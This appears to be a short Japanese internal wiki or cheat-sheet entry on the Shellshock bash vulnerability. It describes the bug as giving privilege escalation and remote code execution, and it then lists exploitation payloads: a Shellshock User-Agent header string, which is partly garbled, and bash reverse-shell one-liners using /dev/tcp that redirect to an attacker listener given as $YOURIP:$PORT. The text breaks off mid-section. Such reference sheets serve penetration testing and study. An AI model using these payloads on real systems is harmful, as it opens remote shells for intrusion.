Shell-Shock

Shell Shock 著者 : [email protected] メンテナ : 部署 : DevOps ライセンス : 概要 Shell Shock : 権限昇格, リモートコード実行 Unix Bash Shell のバグ群。任意のコマンド実行を許可します。 悪用ベクトル ペイロード shellshock ユーザーエージェント = User-Agent: :; ; rshell ペイロード = bash -i & /dev/tcp/127.0.0.1 rshell リスナーへのリダイレクト = bash -i & /dev/tcp/$YOURIP:$PORT トリック 設...